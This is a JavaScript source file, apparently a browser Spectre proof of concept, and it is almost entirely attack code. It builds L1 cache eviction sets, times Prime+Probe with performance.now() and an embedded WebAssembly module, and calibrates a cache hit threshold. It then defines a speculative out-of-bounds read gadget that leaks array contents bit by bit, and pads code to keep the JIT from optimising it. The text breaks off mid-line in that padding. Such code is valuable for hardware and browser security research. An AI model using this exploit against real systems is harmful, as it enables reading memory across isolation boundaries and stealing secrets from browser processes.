_tsuro's spectrejs

spectre.js

const PAGE_SZ = 4096;
const CACHE_LINE_SZ = 64;
const CACHE_LINES_PER_PAGE = PAGE_SZ/CACHE_LINE_SZ;
const CACHE_WAYS = 8;
const MEM_PAGES = 8192;
const WASM = false;

class Utils {
	sort(arr) {
		for (let i = 0; i < arr.length; i++) {
			for (let j = 0; j < arr.length-1; j++) {
				if (arr[j] > arr[j+1]) {
					const tmp = arr[j];
					arr[j] = arr[j+1];
					arr[j+1] = tmp;
				}
			}
		}
		return arr;
	}
	indexOfMin(arr) {
		let minValue = arr[0];
		let minIndex = 0;
		for (let i = 0; i < arr.length; i++) {
			if (arr[i] < minValue) {
				minValue = arr[i];
				minIndex = i;
			}
		}
		return minIndex;
	}
	mean(arr) {
		return arr.reduce((a,b) => a+b) / arr.length;
	}
	median(arr) {
		arr.sort((a,b) => a-b);
		return (arr.length % 2) ? arr[(arr.length / 2) | 0] : this.mean([arr[arr.length/2 - 1], arr[arr.length / 2]]);
	}
	mode(arr) {
		var counter = {};
		var mode = [];
		var max = 0;
		for (var i in arr) {
			if (!(arr[i] in counter)) {
				counter[arr[i]] = 0;
			}
			counter[arr[i]]++;
			if (counter[arr[i]] == max) {
				mode.push(arr[i]);
			} else if (counter[arr[i]] > max) {
				max = counter[arr[i]];
				mode = [arr[i]];
			}
		}
		return mode;
	}
	variance(arr) {
    	var x = this.mean(arr);
	    return arr.reduce((pre, cur) => pre + ((cur - x)**2)) / (arr.length - 1);
	}
	std(arr) {
		return Math.sqrt(this.variance(arr));
	}
}

const wasmBytes = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1a, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x11, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x02, 0x22, 0x02, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x01, 0x80, 0x40, 0x80, 0x40, 0x03, 0x65, 0x6e, 0x76, 0x0c, 0x70, 0x6c, 0x72, 0x75, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x03, 0x03, 0x02, 0x01, 0x01, 0x07, 0x2a, 0x02, 0x11, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x00, 0x01, 0x12, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x32, 0x00, 0x02, 0x0a, 0x99, 0x05, 0x02, 0xa0, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b, 0xf4, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b]);

const sum = new Uint8Array([0]);
const mem = new Uint8Array(new ArrayBuffer(MEM_PAGES * 64 * 1024));
const mom = new Uint32Array(mem.buffer);
const view = new DataView(mem.buffer);

class L1Timer {
	constructor(callback) {
		// Main buffer to extract eviction sets from. We assume it's page
		// aligned. All indexes/pointers are used to access this memory.
		// buffer
		this.mem = mem;
//		%DebugPrint(this.mem);
		// Number of pages in buffer
		this.memPages = Math.floor(this.mem.byteLength/PAGE_SZ);
		// copy-on-write
		for (let i = 0; i < this.mem.length; i += PAGE_SZ) {
			this.mem[(i+8)] = 1;
		}
		// Auxiliary structures
		this.usedPages = [];
		// Compute pair of eviction sets:
		// - clear is used to evict all previous content from the cache set
		// - probe is used for the real Prime+Probe
		// Q: Are associativty "clear" accesses enough? If they are all misses,
		// then yes; otherwise need more, see:
		// https://www.rw.cdl.uni-saarland.de/people/grund/private/papers/rts07-predictability.pdf
		this.clearSets = this._generateEvSets();
		this.probeSets = this._generateEvSets();
		// Callback is the function that modifies the cache footprint
		this.callback = callback;
		if (WASM) {
			// Create Wasm memory
			this.memory = new WebAssembly.Memory({
				initial: MEM_PAGES,
				maximum: MEM_PAGES,
			});
			this.memPages = Math.floor(8192*64*1024)/PAGE_SZ;
			// copy-on-write
			const wasmU82 = new Uint8Array(this.memory.buffer);
			for (let i = 0; i < wasmU82.length; i += PAGE_SZ) {
				wasmU82[i+8] = 1;
			}
			// Instantiate Wasm module
			this.wasm = new WebAssembly.Instance(new WebAssembly.Module(wasmBytes), {
				env: {
					mem: this.memory,
					plruCallback: callback
				}
			});
		}
		// Warmup some functions
		this.timeCacheSet(0);
		for (let i = 0; i < 1000; i++) {
			this.callback();
			if (!WASM) {
				this._probeJS(10, this.clearSets[0], this.probeSets[0]);
			}
		}
	}

	_oscillateTreePLRU(reps, clearSet, primeSet, probeSet) {
		let x = clearSet|0;
		let y = primeSet|0;
		let z = probeSet|0;
		// Clear cache set
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0; // x == 0
		// Prime cache set
		x = mom[y+x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0;
		x = mom[x]|0; // x == 0
		// Victim
		x = this.callback(x)|0; // x == 0
		// Probe cache set using PLRU strategy (see _linkEvSetStrategy)
		// Repeat to augment the signal: all hits vs. 3/4th of misses
		while (reps > 0) {
			// probe
			// 0 1 2 4
			x = mom[z+x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 3 5 6 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 7 0 1 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 2 3 5 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 6 7 0 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 1 2 3 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 5 6 7 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0; // x == probeSet+1

			// twice
			// 0 1 2 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 3 5 6 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 7 0 1 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 2 3 5 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 6 7 0 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 1 2 3 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			// 5 6 7 4
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0;
			x = mom[x]|0; // x == probeSet+1
			//
			reps -= 3;
		}
		return x;
	}

	// Probe cache sets with JavaScript using linked list eviction set
	_probeJS(reps, clearSet, probeSet) {
		const start = performance.now();//Date.now(0);
		let x = this._oscillateTreePLRU(4000, clearSet[0]/4, probeSet[0]/4, probeSet[0]/4+1, start);
		const end = performance.now(x);//Date.now(x);
		return end - start;
	}

	// Indirect eviction set works in Wasm because pointers are passed
	// in registers. There's no double deref on each access.
	_probeWasm(reps, clearSet, probeSet) {
		const start = performance.now();
		this.wasm.exports.oscillateTreePLRU2(4000,
			probeSet[0],
			probeSet[1],
			probeSet[2],
			probeSet[3],
			probeSet[4],
			probeSet[5],
			probeSet[6],
			probeSet[7],
			clearSet[0],
			clearSet[1],
			clearSet[2],
			clearSet[3],
			clearSet[4],
			clearSet[5],
			clearSet[6],
			clearSet[7]
		);
		const end = performance.now();
		return end-start;
	}

	// Measure probing time
	_primeAndProbeL1(clearSet, probeSet) {
		// do something
		if (WASM) {
			return this._probeWasm(4000, clearSet, probeSet);
		} else {
			return this._probeJS(4000, clearSet, probeSet);
		}
	}

	// Return page aligned pointer to random page index inside main buffer
	_randomPage() {
		let rnd = 0;
		do {
			rnd = Math.floor(Math.random() * this.memPages);
		} while (this.usedPages.indexOf(rnd) > -1);
		this.usedPages.push(rnd);
		return PAGE_SZ * rnd;
	}

	// Generate L1 eviction sets: sets of addresses that are mapped into
	// the same cache set (i.e., have same bits[11:6])
	_generateEvSets() {
		const evSets = new Array(CACHE_LINES_PER_PAGE); // 4096/64=64 lines per page
		for (let i = 0; i < evSets.length; i++) {
			evSets[i] = new Array(CACHE_WAYS); // L1 8-ways
		}
		// Pick random pages for evSet index = 0
		for (let i = 0; i < evSets[0].length; i++) {
			evSets[0][i] = this._randomPage();
		}
		// Rest of evSets are just relative to first random page
		// because of linear indexing (again, set == bits[11:6]).
		for (let i = 1; i < evSets.length; i++) {
			for (let j = 0; j < evSets[i].length; j++) {
				// Each element in the evSet array is a pointer to the
				// real address that is part of the eviction set
				evSets[i][j] = evSets[0][j]+i*CACHE_LINE_SZ;
			}
		}
		return evSets;
	}

	// Prepare a linked list in main memory from the evSet array
	// of pointers. Only expected to work from JS accessing Uint32Array,
	// not from Wasm (we divide by 4).
	_linkEvSet(evSet) {
		// We need 32bit to access the pointers
		const view = new Uint32Array(this.mem.buffer);
		for (let i = 0; i < evSet.length - 1; i++) {
			view[evSet[i]/4] = evSet[i+1]/4;
		}
		view[evSet[evSet.length-1]/4] = 0;
	}

	// Prepare a linked list that performs PLRU strategy.
	// A 64-bytes cache line has capacity for 16 32-bit pointers.
	// A_n refers to line A pointer n.
	//
	// 0_0 -> 1_0 -> 2_0 -> 4_0 ->
	// 3_0 -> 5_0 -> 6_0 -> 4_1 ->
	// 7_0 -> 0_1 -> 1_1 -> 4_2 ->
	// 2_1 -> 3_1 -> 5_1 -> 4_3 ->
	// 6_1 -> 7_1 -> 0_2 -> 4_4 ->
	// 1_2 -> 2_2 -> 3_2 -> 4_5 ->
	// 5_2 -> 6_2 -> 7_2 -> 4_6 -> 0_0
	_linkEvSetStrategy(evSet) {
		const view = new Uint32Array(this.mem.buffer);
		// Start at pointer 1 because of normal _linkEvSet
		let count = 0;
		let four = 1;
		let prev = 0;
		// After each cycle increment offset n
		for (let n = 1; n < 4; n++) {
			prev = (evSet[0]/4) + n;
//			console.log('0', n, evSet[0]/4 +n);
			count += 1;
			for (let i = 1; i < evSet.length; i++) {
				if (i == 4) continue;
				if ((count % 3) == 0) {
//					console.log('4', four, prev, '->',  (evSet[4]/4)+four);
					// Point previous to 4, increment 4's offet, skip 4
					prev = view[prev] = (evSet[4]/4)+four;
					four += 1;
				}
//				console.log(i, n, prev, '->', evSet[i]/4+n);
				// Point previous to next
				prev = view[prev] = (evSet[i]/4)+n;
				count += 1;
			}
			// point 7 to next 0
			view[prev] = (evSet[0]/4) + n + 1;
		}
		// Close cycle
		prev = view[prev] = (evSet[4]/4)+four;
		view[prev] = (evSet[0]/4)+1;
	}

	// Return time of Prime+Probe on specific cache set
	timeCacheSet(cacheSetIndex) {
		const clearSet = this.clearSets[cacheSetIndex];
		this._linkEvSet(clearSet);
		const probeSet = this.probeSets[cacheSetIndex];
		this._linkEvSet(probeSet);
		this._linkEvSetStrategy(probeSet);
		return this._primeAndProbeL1(clearSet, probeSet);
	}

	timeCacheSetMultiple(cacheSetIndex, n) {
		const clearSet = this.clearSets[cacheSetIndex];
		this._linkEvSet(clearSet);
		const probeSet = this.probeSets[cacheSetIndex];
		this._linkEvSet(probeSet);
		this._linkEvSetStrategy(probeSet);
		const timing = [];
		for (let i=0; i<n; i++) {
			timing.push(this._primeAndProbeL1(clearSet, probeSet));
		}
		return new Utils().mean(timing);
	}
}

// ToDo: do not rely on aligned memory
const alignedMemory = new Uint8Array(new WebAssembly.Memory({
	initial:1,
	maximum:1
}).buffer);
alignedMemory[8] = 1;

function calibrate(){
	// Victim function: access accessArgs pointer in victim buffer (not main buffer)
	// trash only used to create virtual data dependency
	const accessArgs = new Uint32Array([0]);
	function accessPage(trash) {
		const pageOffset = accessArgs[0]|0;
		return alignedMemory[pageOffset+trash*0];
	}

	// Start profiling
	const utils = new Utils();
	const benchmark = new L1Timer(accessPage);

	// Measure Prime+Probe time for all sets, we want to identify a fast one that
	// is not affected by side-accesses caused by accessPage()
	const cacheSetTimings = new Array(CACHE_LINES_PER_PAGE);
	for (let set = 0; set <  CACHE_LINES_PER_PAGE; set ++) {
		cacheSetTimings[set] = benchmark.timeCacheSet(set);
	} const fastSet = utils.indexOfMin(cacheSetTimings);
	console.log('Fastest set: ' + fastSet);

	const testReps = 60;
	const hits = new Array(testReps);
	const misses = new Array(testReps);
	// Offset that touches the fastSet set, will actually produce misses
	const hitOffset = fastSet*CACHE_LINE_SZ;
	// Offset far away form fastSet, will actually produce hits
	const missOffset = (hitOffset + PAGE_SZ/2) % PAGE_SZ;
	// Run tests
	/*
	accessArgs[0] = hitOffset;
	const hitsMean = benchmark.timeCacheSetMultiple(fastSet, testReps);
	accessArgs[0] = missOffset;
	const missMean = benchmark.timeCacheSetMultiple(fastSet, testReps);
	*/

	for (let i = 0; i < testReps; i++) {
		accessArgs[0] = hitOffset;
		hits[i] = benchmark.timeCacheSet(fastSet);
		accessArgs[0] = missOffset
		misses[i] = benchmark.timeCacheSet(fastSet);
	}

	// Analyse results to extract threshold
	let cacheHits = utils.sort(hits);
	let cacheMisses = utils.sort(misses);
	// Discard outliers
	cacheHits = cacheHits.slice(0, Math.floor(cacheHits.length*0.98));
	cacheMisses = cacheMisses.slice(0, Math.floor(cacheMisses.length*0.98));
	// Get stats
	const hitsMedian = utils.median(cacheHits);
	const missMedian = utils.median(cacheMisses);
	const hitsMean = utils.mean(cacheHits);
	const missMean = utils.mean(cacheMisses);
	const hitsMode = utils.mode(cacheHits);
	const missMode = utils.mode(cacheMisses);
	const hitsStd = utils.std(cacheHits);
	const missStd = utils.std(cacheMisses);

	console.log('Hit:', 'mean='+hitsMean, 'median='+hitsMedian, 'mode='+hitsMode, 'std='+hitsStd);
	console.log('Miss:', 'mean='+missMean, 'median='+missMedian, 'mode='+missMode, 'std='+missStd);

	console.log(hitsMean, missMean);

	if (hitsMean > missMean) {
		const threshold = missMean + ((hitsMean - missMean)/2);
		console.log('threshold: ' + threshold);
		return threshold;
	} else {
		console.log('meh');
	}
}

const threshold = calibrate();
if (!threshold) quit();
quit();

function triggerGC() {
	for (let i = 0; i < 50; i++) {
		new ArrayBuffer(1024*1024);
	}
}

const typedArrays = new Array(64);
typedArrays.fill(Object);
triggerGC();
// TODO: this can be a prefilled array
const leakMe = [];
for (let i = 0; i < 554; i++) {
	leakMe[i] = 0;
}
triggerGC();
for (let i = 0; i < typedArrays.length; i++) {
	typedArrays[i] = new Uint8Array(0x20);
	triggerGC();
}
triggerGC();

const accessLeakMeArgs = new Uint32Array([0]);
function accessLeakMe(trash) {
	const offset = accessLeakMeArgs[0] | 0;
	return leakMe[offset+trash];
}

const leakMeTimer = new L1Timer(accessLeakMe);

function leakMeTestSet(offset, set) {
	//let tests = new Array(testReps);
	accessLeakMeArgs[0] = offset;
	/*
	for (let i = 0; i < testReps; i++) {
		tests[i] = leakMeTimer.timeCacheSet(set);
	}
	let mean =	new Utils().mean(tests);
	*/
	let mean = leakMeTimer.timeCacheSetMultiple(set, testReps);
	return mean > threshold;
}

const elementSize = 4;
const elementsPerCacheLine = CACHE_LINE_SZ/elementSize;
const testElementCount = 48;
const testReps = 60;

const cacheHits = new Array(testElementCount);
for (let i = 0; i < cacheHits.length; i++) {
	cacheHits[i] = new Array(CACHE_LINES_PER_PAGE);
	for (let j = 0; j < cacheHits[i].length; j++) {
		cacheHits[i][j] = 0;
	}
}

for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) {
	console.log(set);
	for (let elementIndex = 0; elementIndex < testElementCount; elementIndex++) {
		if (leakMeTestSet(elementIndex, set)) {
			cacheHits[elementIndex][set] += 1;
		}
	}
}

function previousCacheSet(cacheSet) {
	return (CACHE_LINES_PER_PAGE+cacheSet-1) % CACHE_LINES_PER_PAGE;
}

// Find all clear transitions from one cache set to the next.
// I.e. it should look like:
//   hit  | miss
//   -----+-----
//   miss | hit
function* findTransitions() {
	let offset = elementsPerCacheLine;
	// need at least 16 elements to the bottom
	while (offset <= cacheHits.length - elementsPerCacheLine) {
		for (let cacheSet = 0; cacheSet < CACHE_LINES_PER_PAGE; cacheSet++) {
			const prevCacheSet = previousCacheSet(cacheSet);
			if (cacheHits[offset][cacheSet] != testReps) continue;
			if (cacheHits[offset-1][prevCacheSet] != testReps) continue;
			if (cacheHits[offset-1][cacheSet] != 0) continue;
			if (cacheHits[offset][prevCacheSet] != 0) continue;
			yield [offset, cacheSet];
		}
		offset++;
	}
}

// The algorithm is very simple, try to find runs of cache set hit that
// transition from one cache set to the next. I.e. if we iterate over the array
// elements, we expect 16 hits on cacheSet n, followed by 16 hits on n+1.
function inferCacheAlignment(falsePositiveThreshold, falseNegativeThreshold) {
	for (const [transitionOffset, transitionCacheSet] of findTransitions()) {
		const prevCacheSet = previousCacheSet(transitionCacheSet);
		const startOffset = transitionOffset - elementsPerCacheLine;
		const maxHitCount = 2 * elementsPerCacheLine * testReps;
		let hitCount = 0;
		let wrongHitCount = 0;
		for (let i = 0; i < elementsPerCacheLine; i++) {
			hitCount += cacheHits[startOffset+i][prevCacheSet];
			hitCount += cacheHits[transitionOffset+i][transitionCacheSet];
			wrongHitCount += cacheHits[startOffset+i][transitionCacheSet];
			wrongHitCount += cacheHits[transitionOffset+i][prevCacheSet];
		}
		if (hitCount/maxHitCount >= (1-falseNegativeThreshold)
			&& wrongHitCount/maxHitCount < falsePositiveThreshold) {
			return [true, startOffset, prevCacheSet];
		}
	}
	return [false, -1, -1];
}

const [leakSuccess, alignedIndex, inferredCacheSet] = inferCacheAlignment(0.20, 0.05);
console.log(leakSuccess, alignedIndex, inferredCacheSet);

// Spectre stuff

const kEndMarker = 0xffffffff;
const kWasmPageSize = 64*1024;
class EvictionList {
  constructor(initialSize, offset) {
    const memorySize = initialSize*PAGE_SZ;
    this.memory = new DataView(new WebAssembly.Memory({initial: Math.ceil(memorySize/kWasmPageSize)}).buffer);
    this.head = offset;
    for (let i = 0; i < initialSize-1; i++) {
      this.memory.setUint32(i*PAGE_SZ+offset, (i+1)*PAGE_SZ+offset, true);
    }
    this.tail = (initialSize-1)*PAGE_SZ+offset;
    this.memory.setUint32(this.tail, kEndMarker, true);
    this.length = initialSize;
  }

  traverse() {
    let e = this.head;
    while (e != kEndMarker) {
      e = this.memory.getUint32(e, true);
    }
    return e;
  }
}

const ERR_MEM_LAYOUT = 0;
const ERR_U8_ALIGN = 1;
const ERR_NO_41 = 2;

function sleep(ms) {
  return new Promise(r=>setTimeout(r, ms));
}

function alignedArrayBuffer(sz) {
  const wasm_pages = Math.ceil(sz/(64*1024));
  return new WebAssembly.Memory({initial: wasm_pages, maximum: wasm_pages}).buffer
}

const probeArray = new Uint8Array(alignedArrayBuffer(PAGE_SZ));
probeArray[0] = 1;

const spectreArgs = new Uint32Array([0, 0, 0]);
function spectreGadget(trash) {
  // We want to access as little memory as possible to avoid false positives.
  // Putting arguments in a global array seems to work better than passing them
  // as parameters.
  const idx = spectreArgs[0]|0;
  const bit = spectreArgs[1]|0;
  const waaaaaat = spectreArgs[2]|0;

  // Add a loop to control the state of the branch predictor
  // I.e. we want the last n branches taken/not taken to be consistent
  for (let i = 0; i < 200; i++);

  // idx will be out of bounds during speculation
  // if the bit is zero, we access cache line 0 of the probe array otherwise
  // 0x800 (cache line 32)
  return probeArray[idx < spectreArray.length ? ((spectreArray[idx]>>bit)&1)*0x800 : 0x400];
}

function testBit(evictionList, offset, bit, bitValue, noopt = true) {
  spectreArgs[0] = 0;
  spectreArgs[1] = 0;

  // Run the gadget twice to train the branch predictor.
  for (let j = 0; j < 2; j++) {
    spectreGadget();
  }

  // Try to evict the length field of our array from memory, so that we can
  // speculate over the length check.
  evictionList.traverse();

  spectreArgs[0] = offset;
  spectreArgs[1] = bit;

  // In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1.
//  const timing = spectreTimer.timeCacheSetMultiple(bitValue == 1 ? 32 : 0, 10);
  const timing = spectreTimer.timeCacheSet(bitValue == 1 ? 32 : 0);

  if (timing > threshold) {
    return true;
  } else if (noopt) {
    return false;
  }

  // This is never reached, but the compiler doesn't know.
  // The gadget breaks if this function gets optimized. So we add garbage
  // instructions to blow up the byte code size and disable optimization.
  let foo = 0; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; 